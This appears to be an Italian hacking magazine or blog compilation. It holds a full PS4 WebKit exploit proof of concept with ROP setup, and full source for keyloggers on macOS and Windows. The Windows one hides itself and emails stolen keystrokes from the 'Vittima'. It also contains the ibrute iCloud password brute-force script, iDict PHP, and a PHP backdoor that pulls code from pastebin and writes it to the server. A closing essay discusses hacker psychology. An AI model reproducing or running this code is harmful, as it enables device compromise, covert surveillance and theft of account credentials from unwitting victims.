getU64from(xx+0xdd8); //get webprocess base //xx = getU64from(xx+0xc18); //get libcinternal base //xx = getU64from(xx+0xf98); //get libsysmodule base //xx = getU64from(xx+0x1158); //get libSysCore base //xx = getU64from(xx+0x2658); //get libSystemService base //xx = getU64from(xx+0x2b98); var i_size = 0x1188+(11*0x1c0); var c_base = getU64from(xx+i_size+0x158); var d_base = getU64from(xx+i_size+0x168); var r_base; var chunk; var cnt; var tmp; var m_cnt = 11; var c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF; var d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF; var m_info; var gap; while(((c_base != 0) || (d_base != 0))) { if(c_base > d_base) { r_base = d_base; }else{ r_base = c_base; } tmp = ((c_size + d_size) / 4) >> 0; if(tmp > 0x1000){ cnt = ((tmp / 0x1000) >> 0); chunk = (tmp / cnt) >> 0; }else{ cnt = 1; chunk = tmp; } if(d_base != 0) gap = d_base - (c_base + c_size); else gap = 0; m_info = "0x" + c_base.toString(16) + "+0x" + c_size.toString(16) + ", 0x" + d_base.toString(16) + "+0x" + d_size.toString(16) + " gap: 0x" + gap.toString(16); logAdd("<h2><a href='ps4.php?base=0x" + r_base.toString(16) + "&chunk=0x" + chunk.toString(16) + "&cnt=0x" + cnt.toString(16) + "'>module " + m_cnt.toString(10) + "</a></h2><h3>" + m_info + "</h3>"); i_size += 0x1c0; c_base = getU64from(xx+i_size+0x158); d_base = getU64from(xx+i_size+0x168); c_size = getU64from(xx+i_size+0x160) & 0xFFFFFFFF; d_size = getU64from(xx+i_size+0x170) & 0xFFFFFFFF; m_cnt++; } // restore f2 object if (f2old) { setBase(null); setU64(f2offs, f2old); } // delete corrupted property delete mo.prop0; } catch(e) { logAdd(e); } return 0; } // "Start" button onclick handler function btnClick() { try { logAdd("======== Start ========"); // check OS version //if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; } // try several attempts to exploit for(var i=1; i < 5; i++){ logAdd("<br/>Attempt #" + i + ":"); if (tryExplMac64(i) == 0) break; } logAdd("<br/>======== End ========<br/><br/>"); } catch(e) { logAdd(e); } _log = null; } // print environment info writeEnvInfo(); </script> <button style="width:100px;" onclick="btnClick();">Start</button> <br/><br/> <div id="log"></div><br> </body> </html> ps4_rop2.html: <html> <body> <h2>PS4 POC</h2><h3>by nas and Proxima</h3></br> <script src="inc/utils.js"></script> <script src="inc/jquery.js"></script> <script type="text/javascript"> // global vars var _gc, _cnt = 0; function tryExplMac64(att) { try { // // Part 1: getting the Uint32Array object address // // init vars var u32 = new Uint32Array(0x100); var a1 = [0,1,2,3,u32]; var a2 = [0,1,2,3,4]; // right after a1 var a1len = a1.length; var a2len = a2.length; var u32len = u32.length; // protect local vars from GC // for gdb if (!_gc) _gc = new Array(); _gc.push(u32,a1,a2); // declare custom compare function var myCompFunc = function(x,y) { // check for the last call for last two array items if (y == 3 && x == u32) { //logAdd("myCompFunc(u32,3)"); // shift() is calling during sort(), what causes the // last array item is written outside the array buffer a1.shift(); } return 0; } // call the vulnerable method - JSArray.sort(...) a1.sort(myCompFunc); // check results: a2.length should be overwritten by a1[4] var len = a2.length; //logAdd("a2.length = 0x" + len.toString(16)); if (len == a2len) { logAdd("error: 1"); return 1; } // // Part 2: creating corrupted JSValue which points to the (u32+0x18) address // // modify our compare function myCompFunc = function(x,y) { if (y == 0 && x == 1) { //logAdd("myCompFunc(1,0)"); // call shift() again to read the corrupted JSValue from a2.length // into a1[3] on the next sort loop a1.length = a1len; a1.shift(); // modify JSValue a2.length = len + 0x18; } if (y == 3) { //logAdd("myCompFunc(x,3)"); // shift it back to access a1[3] a1.unshift(0); } return 0; } a1.sort(myCompFunc); // now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18) var c = a2.length; //logAdd("a2.length = 0x" + c.toString(16)); if (c != len + 0x18) { logAdd("error: 2"); a1[3] = 0; return 2; } // // Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h) // // generate dummy JS functions var f, f2, f2offs, f2old, funcs = new Array(30); c = funcs.length; for(var i=0; i < c; i++){ f = new Function("arg", " return 876543210 + " + (_cnt++) + ";"); f.prop2 = 0x12345600 + i; funcs[i] = f; } // generate JIT-code for(var i=c-1; i >= 0; i--) { funcs[i](i); } // prepare objects for the third sort() call var mo = {}; var pd = { set: funcs[0], enumerable:true, configurable:true } var a3 = [0,1,2,a1[3]]; // allocate mo's property storage right after a3's buffer Object.defineProperty(mo, "prop0", pd); for(var i=1; i < 5; i++){ mo["prop"+i] = i; } // protect from GC _gc.push(a3,mo,funcs); // use sort-n-shift technique again myCompFunc = function(x,y) { // check for the last call for two last array items if (y == 2) { //logAdd("myCompFunc(a3[3],2)"); // a3[3] will be written over the mo.prop0 object a3.shift(); } return 0; } // overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18 a3.sort(myCompFunc); // u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object. // we should put some valid pointers into GetterSetter u32.prop1 = u32; // GetterSetter.m_structure u32.prop2 = 8; // 8 = JSType.GetterSetterType u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter() // clear corrupted JSValue a1[3] = 0; a3[3] = 0; // overwrite u32.m_impl by some JSFunction object f = funcs[c-5]; pd.set = f; Object.defineProperty(mo, "prop0", pd); // check results: u32.length is taken from f's internals now //logAdd("u32.length = 0x" + u32.length.toString(16)); if (u32.length == u32len) { logAdd("error: 3"); return 3; } // // Part 4: getting the JIT-code memory address // // declare aux functions var setU64 = function(offs, val) { u32[offs] = val % 0x100000000; u32[offs+1] = val / 0x100000000; } var getU64 = function(offs) { return u32[offs] + u32[offs+1] * 0x100000000; } var getU32 = function(offs) { return u32[offs]; } var getObjAddr = function(obj) { // write obj into u32 data pd.set.prop2 = obj; // read obj address from u32 return getU64(2); } // get the memory address of u32 var u32addr = getObjAddr(u32); //logAdd("u32 address = 0x" + u32addr.toString(16)); // get the memory address of u32[0] (ArrayBufferView.m_baseAddress) var u32base = getObjAddr(pd.set) + 0x20; var u32base0 = u32base; //logAdd("u32 base = 0x" + u32base.toString(16)); // on x64 platforms we can't just set u32.length to the huge number // for ability to access arbitrary addresses. We should be able to // modify the u32's buffer pointer on-the-fly. var setBase = function(addr){ if (!f2) { // search for another JSFunction near "f" for(var i=0x12; i < 0x80; i+=0x10){ if ((u32[i] >>> 8) == 0x123456) { f2 = funcs[u32[i] & 0xFF]; f2offs = i - 6; f2old = getU64(f2offs); break; } } logAdd("f2offs = 0x" + f2offs); if (!f2) { return false; } } if (pd.set != f) { pd.set = f; Object.defineProperty(mo, "prop0", pd); u32base = u32base0; } if (addr == null) return true; // this will be the new value for ((ArrayBufferView)u32).m_baseAddress setU64(f2offs, addr); // overwrite ((JSUint32Array)u32).m_impl again pd.set = f2; Object.defineProperty(mo, "prop0", pd); u32base = addr; //logAdd("u32 new base = 0x" + u32base.toString(16)); return true; } // read/write the 64-bit value from the custom address var getU64from = function(addr) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return getU64((addr - u32base) >>> 2); } var setU64to = function(addr,val) { if (addr < u32base || addr >= u32base + u32len*4) { if (!setBase(addr)) return 0; } return setU64((addr - u32base) >>> 2, val); } //logAdd("u32 size: 0x" + u32.length.toString(16)); // Get the object table from the origianl heap address // +0x20 is a pointer we can use for some object var xx = getU64from(u32base0+0x20); var yy=0; //logAdd("verify base: 0x"+xx.toString(16) ); // // This is the only part you need to modify // // // // First, the heap array has a pointer into a function // in WebKit2. The one I'm using is always at +0x20 from // the original base at +0x20. // 1.70 PS4 = -0x30bf0 is the start of webkit // +0x25C4000 = some data // +0x2414000 = import table // (import table +0x20) = modules table // If this crashes, try it 2-4 more times. It usually will work // target addr for the rop chain var chain_addr = u32base0 + 0x80000; var chain_data = u32base0 + 0x88000; // xx will be the base address of WebKit2 xx = (getU64from(xx+0x20)-0x30bf0); var wk_base = xx; logAdd("WebKit2 base address = 0x" + xx.toString(16)); xx += 0x2414000; // Get to the import table setBase(xx); xx = getU64from(xx+0x20); // Get to the module table // Future use: data area somewhere around 0x200500000 //logAdd("Dump Address is 0x" + xx.toString(16)); setBase(xx); //get libSceLibcinternal base //var libc_int_base = getU64from(xx+0xf98); //1.71 var libc_int_base = getU64from(xx+0x1628); //1.71 //get libkernel base //xx = getU64from(xx+0xdd8); //1.71 xx = getU64from(xx+0x1468); //1.76 var libkernel_base = xx; setBase(xx); //get stack base //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? xx = getU64from(xx+0x5B278); //1.76 webprocess stack //yy = getU64from(xx+0x5AA70); //1.71 var stack_base = xx - 0x4000; //yy = getU64from(xx+0x5AA70); logAdd("libkernel Base is 0x" + libkernel_base.toString(16)); logAdd("libSceLibcinternal Base is 0x" + libc_int_base.toString(16)); logAdd("Stack Base is 0x" + stack_base.toString(16)); logAdd("Chain Address is 0x" + chain_addr.toString(16)); //var return_va = 0x2b38; //1.71 var return_va = 0x2b38; //1.76 //var old_va = getU64from(return_va); //var old_va8 = getU64from(return_va+8); // ***************** ROP START ********************* // store data // none // store ROP chain setU64to(chain_addr + 0, wk_base + 735703); // point a return address of the stack to our chain setU64to(stack_base + return_va + 8, chain_addr); setU64to(stack_base + return_va, wk_base + 392117); // ***************** ROP END *********************** // cleanup // restore f2 object if (f2old) { setBase(null); setU64(f2offs, f2old); } // delete corrupted property delete mo.prop0; } catch(e) { logAdd(e); } return 0; } // "Start" button onclick handler function btnClick() { try { logAdd("======== Start ========"); // check OS version //if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; } // try several attempts to exploit for(var i=1; i < 5; i++){ logAdd("<br/>Attempt #" + i + ":"); if (tryExplMac64(i) == 0) break; } logAdd("<br/>======== End ========<br/><br/>"); } catch(e) { logAdd(e); } _log = null; } // print environment info writeEnvInfo(); </script> <button style="width:100px;" onclick="btnClick();">Start</button> <br/><br/> <div id="log"></div><br> </body> </html> Conclusioni Il codice che avete appena letto e scaricabile gratuitamente Qui: WebKitExploitPs4 [Crediti: wololo.net] KeyLogger che passione Il keylogger è uno strumento di Sniffing, che puo essere sia hardware che software e d e in grado di intercettare tutto ciò che un utente digita sulla tastiera del computer. Keylogger hardware I keylogger hardware sono molto efficaci in quanto la loro installazione è molto semplice e il sistema non è in grado di accorgersi della loro presenza. Quando installati fra la tastiera e il PC hanno le sembianze di un adattatore o appaiono dei cavi di prolunga. Quando sono nascosti nella tastiera risultano del tutto invisibili. Il vantaggio dei keylogger hardware risiede nel fatto che sono completamente indipendenti dal sistema operativo e sono in grado di intercettare anche le password di bootstrap, la cui digitazione avviene in fase di avvio, prima del caricamento del sistema operativo. Questi keylogger memorizzano i tasti premuti o li inviano a dispositivi wireless. Per leggere il contenuto dei dati memorizzati localmente di solito si utilizza una combinazione di tasti o si lancia uno specifico software. Keylogger software Schermata di un resoconto creato da un keylogger software. I keylogger software sono invece semplici programmi o driver di periferica che rimangono in esecuzione captando ogni tasto che viene digitato e poi, in alcuni casi, trasmettono tali informazioni a un computer remoto. Spesso i keylogger software sono trasportati e installati nel computer da worm o trojan ricevuti tramite Internet e hanno in genere lo scopo di intercettare password e numeri di carte di credito e inviarle tramite posta elettronica al creatore degli stessi. Un programma di keylogging può sovrapporsi fra il browser ed il World Wide Web. In questo caso intercetta le password, comunque vengano inserite nel proprio PC. La password viene catturata indipendentemente dalla periferica di input (tastiera, mouse, microfono): sia che l'utente la digiti da tastiera, sia che l'abbia salvata in un file di testo prima di collegarsi a Internet, e poi si limiti a inserirla con un copia/incolla, in modo da evitarne la digitazione, sia che la password venga inserita tramite un programma di dettatura vocale. Anche in caso di connessione sicura (cifrata), se sul computer è presente un keylogger che invia le password in remoto, tali password potranno essere utilizzate dalla persona che le riceve. Bene mah incominciamo a mostrare qualche codice di alcuni keylogger Incominciamo a keyloggare i computer apple OS x allora creiamo prima un file keylogger.c Source: #include <stdio.h> #include <time.h> #include <ApplicationServices/ApplicationServices.h> /* ApplicationServices.framework needed */ FILE *logFile = NULL; int counter = 0; char* keyCodeToReadableString (CGKeyCode); CGEventRef myCGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *); int main (int argc, const char * argv[]) { CGEventFlags oldFlags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState); CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged)); CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, myCGEventCallback, &oldFlags); if (!eventTap) { fprintf(stderr, "failed to create event tap\nyou need to enable \"Enable access for assitive devices\" in Universal Access preference panel."); exit(1); } CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0); CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CGEventTapEnable(eventTap, true); logFile = fopen("/var/log/keystroke.log", "a"); CFRunLoopRun(); return 0; } CGEventRef myCGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) { return event; } counter++; CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); if (logFile) { time_t currentTime; time(¤tTime); struct tm *time_info = localtime(¤tTime); char fmtTime[32]; strftime(fmtTime, 32, "%F %T", time_info); fprintf(logFile, "%s %s\n", fmtTime, keyCodeToReadableString(keyCode)); if (counter % 100 == 0) fflush(logFile); } return event; } char* keyCodeToReadableString (CGKeyCode keyCode) { switch ((int) keyCode) { case 0: return "a"; case 1: return "s"; case 2: return "d"; case 3: return "f"; case 4: return "h"; case 5: return "g"; case 6: return "z"; case 7: return "x"; case 8: return "c"; case 9: return "v"; case 11: return "b"; case 12: return "q"; case 13: return "w"; case 14: return "e"; case 15: return "r"; case 16: return "y"; case 17: return "t"; case 18: return "1"; case 19: return "2"; case 20: return "3"; case 21: return "4"; case 22: return "6"; case 23: return "5"; case 24: return "="; case 25: return "9"; case 26: return "7"; case 27: return "-"; case 28: return "8"; case 29: return "0"; case 30: return "]"; case 31: return "o"; case 32: return "u"; case 33: return "["; case case case case case case case case case case case case case case case case case case case case case case case 34: return "i"; 35: return "p"; 37: return "l"; 38: return "j"; 39: return "\""; 40: return "k"; 41: return ";"; 42: return "\\"; 43: return ","; 44: return "/"; 45: return "n"; 46: return "m"; 47: return "."; 50: return "`"; 65: return "<keypad-decimal>"; 67: return "<keypad-multiply>"; 69: return "<keypad-plus>"; 71: return "<keypad-clear>"; 75: return "<keypad-divide>"; 76: return "<keypad-enter>"; 78: return "<keypad-minus>"; 81: return "<keypad-equals>"; 82: return "<keypad-0>"; case 83: return "<keypad-1>"; case 84: return "<keypad-2>"; case 85: return "<keypad-3>"; case 86: return "<keypad-4>"; case 87: return "<keypad-5>"; case 88: return "<keypad-6>"; case 89: return "<keypad-7>"; case 91: return "<keypad-8>"; case 92: return "<keypad-9>"; case 36: return "<return>"; case 48: return "<tab>"; case 49: return "<space>"; case 51: return "<delete>"; case 53: return "<escape>"; case 55: return "<command>"; case 56: return "<shift>"; case 57: return "<capslock>"; case 58: return "<option>"; case 59: return "<control>"; case 60: return "<right-shift>"; case 61: return "<right-option>"; case 62: return "<right-control>"; case 63: return "<function>"; case 64: return "<f17>"; case 72: return "<volume-up>"; case 73: return "<volume-down>"; case 74: return "<mute>"; case 79: return "<f18>"; case 80: return "<f19>"; case 90: return "<f20>"; case 96: return "<f5>"; case 97: return "<f6>"; case 98: return "<f7>"; case 99: return "<f3>"; case 100: return "<f8>"; case 101: return "<f9>"; case 103: return "<f11>"; case 105: return "<f13>"; case 106: return "<f16>"; case 107: return "<f14>"; case 109: return "<f10>"; case 111: return "<f12>"; case 113: return "<f15>"; case 114: return "<help>"; case 115: return "<home>"; case 116: return "<pageup>"; case 117: return "<forward-delete>"; case 118: return "<f4>"; case 119: return "<end>"; case 120: return "<f2>"; case 121: return "<page-down>"; case 122: return "<f1>"; case 123: return "<left>"; case 124: return "<right>"; case 125: return "<down>"; case 126: return "<up>"; } return "<unknown>"; } Ok ora dobbiamo fare un altro file keylogger.plist Source: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>tw.owo.keylogger</string> <key>Program</key> <string>/usr/local/sbin/keylogger</string> <key>ProgramArguments</key> <array> <string>keylogger</string> </array> <key>KeepAlive</key> <true/> </dict> </plist> Bene ma come fare di questo codice il nostro keylogger? Incominciamo a pachettizare il codice con cc keylogger.c -o keylogger -framework ApplicationServices Bene ora mettiamolo in /usr/local/sbin/ Poi poi mettiamo lo script li launch in /System/Library/LaunchDaemons cosi questo keylogger parteall'avvio del sistema. Ricordate che per impostazioni predefinite, i tasti potrebbero essere registrati nel /var/log/keystroke.log. Bene questo e un primo esempio di keylogger per OS x, volendo cene sono gia altri compilati come: Spector Pro (il prodotto costa 75$ mah LINK) sniperspy aobo amackeylogger Ok ora vediamo invece un keylogger per windows Allora creiamone uno semplice con visual basic cominciamo con visual basic apriamo un nuovo progetto con visual basic e assegnamogli un nome nel mio caso keylogger Inseriamo i seguenti elementi 1 Timer 1 TextBox 4 Label Ai label date questi titoli... label1.text=Email mandate label2.text=0 label3.text=lettere label4.text=0 Ora passiamo ai codici. Cliccate sul for, cancellate tutto e incollate questo. Codice: Imports System.IO Imports System.Net.Mail Public Class TaskHost Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer Public rip As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.Visible = False Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Me.Visible = False For i As Integer = 3 To 255 Dim fi As FileInfo = New FileInfo("C:\Windows\DriverSys.txt") Dim sw As StreamWriter Dim ch As String If GetAsyncKeyState(i) Then ch = DirectCast(i, System.Windows.Forms.Keys).ToString If ch.Length > 1 Then ch = "{" + ch + "}" End If If fi.Exists = False Then sw = fi.CreateText() Else sw = fi.AppendText() End If sw.Write(ch) sw.Flush() sw.Close() TextBox1.Text = TextBox1.Text + ch If TextBox1.TextLength = 500 Then Dim smtpServer As New SmtpClient() Dim mail As New MailMessage() smtpServer.Credentials = New Net.NetworkCredential("TUA EMAIL", "PASSWORD") smtpServer.Port = 587 smtpServer.Host = "smtp.live.com" smtpServer.EnableSsl = True mail = New MailMessage() mail.From = New MailAddress("TUA EMAIL") mail.To.Add("TUA EMAIL") mail.Subject = "KeyloggerRemoto" & "" & "Vittima:" & My.Computer.Name & "," & "Email N:" & Label4.Text mail.Body = TextBox1.Text smtpServer.Send(mail) rip = +1 Label4.Text = rip textbox1.text = "" End If End If Next Label1.Text = TextBox1.TextLength End Sub End Class Prima di chiudere questo articolo sui keylogger ce un ultimo OS su cui vi voglio mostrare che ci possono essere keylogger il sistema in questione e android Quello che vado a mostrare ora non e esattamente solo un keylogger mah i realta sarebbe uno spyphone che fa anche da keylogger ma andiamo a vederlo andiamo a vedere opzione per opzione http://it.amobile-spy.com/android-keylogger.html [esempio vb preso dal forum sciax2] I VIP TREMAVANO CON ICLOUD Nel estate del 2014 sono sucesse molte cose, mah la cosa che ha fatto tremare di piu i vip e stato icloud, vi chiederete come puo la nuvola di apple far tremare i vip? Molto semplicemente gli hacker hanno bucato icloud, di specifico l'icloud dei vip. Si perche i vip sopra le loro nuvole caricavano selfie hot, e quanti di noi non vorrebbe avere un poster della propria atrice preferita naked ;) mah ora facciamo una disamina di come e stato possibile bucare icloud Il cappello nero ha usato una vesione crackata di EPPB (Elcomsoft Phone Password Breaker) in aggiunta ad uno script python (ibrute) Script ibrute -----------------------------------------------------------------------------------------------# -*- coding: utf-8 -*# #hackapp.com #@hackappcom p0c for FindMyIphone bug #allows to bruteforce passwords without AppleID lock. #Before you start, make sure it's not illegal in your country. #Have a nice brute import json import urllib2 import plistlib from xml.dom.minidom import * from lxml import etree import unicodedata import re import xml.etree.ElementTree import time import random import json import cookielib import urllib import time import socket import base64 from time import strftime import socks import socket #Uncomment to user t0r, or any other socks5 proxy #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket def TryPass(apple_id,password): url = 'https://fmipmobile.icloud.com/fmipservice/device/'+apple_id+'/initClient' headers = { 'User-Agent': 'FindMyiPhone/376 CFNetwork/672.0.8 Darwin/14.0.0', } json = { "clientContext": { "appName": "FindMyiPhone", "osVersion": "7.0.4", "clientTimestamp": 429746389281, "appVersion": "3.0", #make it random! "deviceUDID": "0123456789485ef5b1e6c4f356453be033d15622", "inactiveTime": 1, "buildVersion": "376", "productType": "iPhone6,1" }, "serverContext": {} } req_plist=plistlib.writePlistToString(json) req = urllib2.Request(url, req_plist, headers=headers) base64string = base64.encodestring('%s:%s' % (apple_id, password)).replace('\n', '') req.add_header("Authorization", "Basic %s" % base64string) try: resp = urllib2.urlopen(req) except urllib2.HTTPError, err: if err.code == 401: return False if err.code == 330: return True return 'bad' with open('passlist.txt', 'r') as file: passwords = file.read() with open('mails.txt', 'r') as file: apple_ids = file.read() for apple_id in apple_ids.split('\n'): if apple_id: print 'Working with:',apple_id for pwd in passwords.split('\n'): if pwd: #print pwd password = pwd.split(' ')[1] print 'Trying: ', apple_id,password try: result = TryPass(apple_id,password) if result == True: print 'Got It!: ', apple_id,password if result == 'bad': print 'We are blocked!: ',apple_id,password except: print 'Protocol failed ',pwd La vera forza di ibrute, oltre che usare le librerie che aiutano ad spacciarsi durante l'attacco per un device apple, e quello del doppio ciclo d'operazzioni [by afr0] IDICT IL NUOVO ICLOUD Ebbene si se pensavate che i vostri account apple id fossero ritornati al sicuro vi sbagliavate Ebbene si e stato rilasciato poco dopo il periodo natalizzio idict andiamo ora ad analizare i dict La struttura: Files |_____ Wordlist.txt index.php main.php La parte pricipale che rende possibile la magia di idict e uno script php presente nel file index.php lo script e il seguente: <?php //Fetch Configuration File function getConfig() { echo "<b><br><center>-~==*Fetching Configuration File from Apple's Server*==~-</center><br></b>"; sleep(5); $ch = curl_init(); // initialize curl handle curl_setopt($ch, CURLOPT_URL,'https://setup.icloud.com/configurations/init?context=settings'); // URL curl_setopt($ch,CURLOPT_ENCODING, ''); // decode gzip curl_setopt($ch, CURLOPT_VERBOSE, true); // debugging curl_setopt($ch, CURLINFO_HEADER_OUT, true); // debugging curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // dont check server certs curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // dont check server certs curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // return response curl_setopt($ch, CURLOPT_USERAGENT, 'Settings/1.0 CFNetwork/672.0.8 Darwin/14.0.0'); // UserAgent curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Proxy-Connection: keep-alive', // Set Request Headers 'Accept: */*', 'Accept-Encoding: gzip, deflate', 'Accept-Language: en-us', 'X-MMe-Country: US', 'Connection: keep-alive', 'X-MMe-Client-Info: <iPhone4,1> <iPhone OS;7.0.4;11B554a> <com.apple.AppleAccount/1.0 (com.apple.Preferences/1.0)>', )); $response = curl_exec($ch); // execute! //echo $response; //Debugging Info //echo "<br><center>Headers Debugging Info:</center></br>"; //echo curl_getinfo($ch, CURLINFO_HEADER_OUT); if ( $error = curl_error($ch) ) echo 'ERROR: ',$error; curl_close($ch); file_put_contents('./files/config.plist', $response); echo "<center>Saved to Disk..</center>"; // save to file return $response; } getConfig(); ?> // close curl // close the function Esso fa in modo che si possa eseguire l'attacco di brute force del id ai server della mela Quindi se pensavate di essere al sicuro vi sbagliavate!!! [by afr0] Gli hacker di pastebin Tutti noi ormai sappiamo cose una backdoor e come si costruisce (vadasi a vedere il blog darksan) ma se vi dessi questo script: if(array_keys($_GET)[0] == 'up'){ $content = file_get_contents("http://pastebin . com/raw.php?i=JK5r7NyS"); if($content){unlink('evex.php'); $fh2 = fopen("evex.php", 'a'); fwrite($fh2,$content); fclose($fh2); }}else{print "test";} Come sappiamo il codice viene downlodato da un server remoto, possibilmente un server che l'hacker abbia infettato precedentemente, ma in questo caso il cosidetto server remoto e niente popo di meno che pastebin la famosa piattaforma di condivisione di codice. Tecnicamente il codice e in formato raw (no html …) ma come sempre sostengo un tecnicismo puo essere sempre ridotto in mutande nel mondo del pc Ecco un esempio di una backdoor elaborata uploadata via RevSlider hole Dallo screenshot. Si puo osservare che il codice injected contiene una stringa a base 64 ma con la variabile $temp=base64_decode messa al di sopra di wp-links-apml.php se ne puo vedere il contenuto che e il seguente: Ora potete osservare il codice, e vedere che il download viene effettuato proprio dalla piattaforma pastebin.com Ma come e possibile tutto questo? Tutto cio e possibile grazzie ad un hacker indonesiano ed alla variabile FathurFreakz la seguente function FathurFreakz($ct3){ xcurl('http://pastebin.com/download.php?i='.code($ct3)); } FathurFreakz(CODE); questa piccola stringa permette il downloads e l'esecuzzione del codice postato su pastebin.com (xcurl function) esempio di attacco: decriptato Quindi ricordate che qualsiasi piattaforma di condivisione puo …. [by afr0] Riflessioni sulla psicologia hacker Molto si e detto e si sta dicendo sul fenomeno hackers. Sono semplici trasgressivi, teppisti digitali o ladri di informazioni? In realta le motivazioni che si celano dietro un tentativo di accesso clandestino ad un sistema sono molteplici e molteplici sono quindi gli assetti psicologici di chi li effettua. E necessario quindi delineare una tipologia variegata del mondo dell'hacking contemporaneo. Troviamo una parte di loro i 30 ai 45 anni che rappresentano cio che e rimasto del periodo iniziale del fenomeno, (in Italia dall'inizio degli anni 80) molti dei quali inseriti nel mondo dell'informatica professionale. Sognano ancora degli ideali di “etical hacking”hanno quasi completamente abbandonato le frequentazioni pericolose del mondo digitale underground. Ogni tanto gli viene volta di rimettersi all'opera, magari semplicemente di chiacchierare nelle chat tematiche. Ma un'occhiata alla moglie, ai figli e alìautomobile nuova appena comprata gli fa cambiare idea. A loro si affianca poi un tipo di hacker “rampante” di eta compresa tra i 25 ed 35 che dopo un certo periodo di attivita underground giovanile opera adesso nel mondo della sicurezza ed e deciso a mettere a frutto le esperienze maturate. Non ha ancora abbandonato i legami con le comunita digitali trasgressive da cui cerca di attingere le informazioni utili per le sue proposte di consulenza. E poi ci sono infine i “ragazzini” Orde di adolescenti (alcuni di loro immaturi mentalmente ma non anagraficamente) che utilizzano l'hacking per soddisfare la loro voglia di trasgressione e di distruzione. Cercano tools sulla rete e imparano a fare port-scanning selvaggio e qualcosina di complesso come i defacement o i “disturbi” alle chat. Poi si vantano in rete o al pub sotto casa. Qualcuno li chiama lamer. Ti raccontano le loro gesta illegali sorridendo, ammiccando, autoincensandosi. Molti di loro hanno piu paura della mamma che della Polizia Postale. L'INGANNO DEGLI EX HACKER Talvolta personaggi che si definiscono ex-hackers, allestiscono vere e proprie societa di consulenza informatica grazie alle competenze acquisite durante il periodo selvaggio. Ma le loro competenze divengono ogni giorno obsolete: si sa, nel mondo del cyberspazio le abilita diventano rapidamente superate. In alcuni casi questi personaggi hanno effettuato una serie di intrusioni nell'azzienda a cui volevano offrire la loro consulenza per poi presentarsi con la soluzione dopo aver provocato il panico. Allora inizia una sorta di sdoppiamento di personalita Di giorno li incontri con il vestito buono, pettinati compiti ed ossequiosi, mentre tentano di vendere alle aziende importanti i loro prodotti di sicurezza, la notte invece si rimettono i jeans, la felpa larga e magari il berretto con la visiera all'indietro e frequentano i circoli telematici trasgressivi cercando di mischiarsi con i ragazzini impertinenti che defacciano i siti o lanciano i tools. Frequentano gli hack meeting, cercano di farsi fotografare dai giornalisti per mostrare in giro che appartengono ancora a quel mondo, che sono ancora al centro di un circuito di informazioni, che sono ancora in grado di fare hacking. E ancora, a volte rilasciano interviste inneggianti alla liberta sulla rete e il giorno dopo partecipano ad un congresso sulla security promosso dal mondo aziendale e propongono un sistema di sicurezza adatto proprio alle famigerate compagnie telefoniche, le famose “”telco” obbiettivi elettivi per Capitan Crunch e per i primi hackers storici degli anni 60-70 E i “ragazzini” vano al centro di un processo di strumentalizzazione. Qualcuno gli continua a dire a mezza bocca che:” … non siete delinquenti ma anzi contribuite alla sicurezza delle reti attaccandole, mostrando le falle del sistema, suggerendo indirettamente degli interventi di sicurezza” Del resto,quando arriva uno sciame di cavallette i contadini bestemmiano ma i venditori di insetticida si sfregano le mani Milioni di dollari guadagnati ogni anno dalle compagnie che si occupano di sicurezza o che producono antivirus sarebbero a rischio se improvvisamente gli attacchi dei ragazzini sulla rete dovessero diminuire. Molti esperti di sicurezza informatica ora tornerebbero a riparare i televisori. Cosi i ragazzini si illudono, li ascoltano e quando si fanno beccare si prendono una denuncia penale. Assaporano una trasgressione apparentemente a basso rischio, una trasgressione intelligente, raffinata, unita all'illusione adolescenziale di possedere il mondo. Illusione che regolarmente fallisce per la maggior parte dei sognatori e che si concretizza solo in eta adulta per quei pochissimi che riescono ad accedere a quelle definite dal Sociologo Vilfredo Pareto come elite di potere L'illusione di poter governare subito un mondo parallelo, virtuale che gli adulti non sono ancora riusciti a controllare anche perche hanno sbagliato all'inizio a progettarlo con il protocollo a pacchetto di internet. Ma il gioco e bello quando dura poco e questo gioco dura sempre meno. Si moltiplicano in tutto il mondo le denunce penali a carico di giovani hacker che prendono coscienza dell'inganno operato dai media nei loro confronti solo quando vedono arrivare nella loro casa, magari al mattino presto (come per i delinquenti) la Polizia Postale del loro paese. Fare l'hacking e quindi piu che un opportunita di lavoro, sopratto un'opportunita per essere denunciati Sull'assunzione di ex-hacker da parte delle aziende sono infatti in corso parecchie dispute, 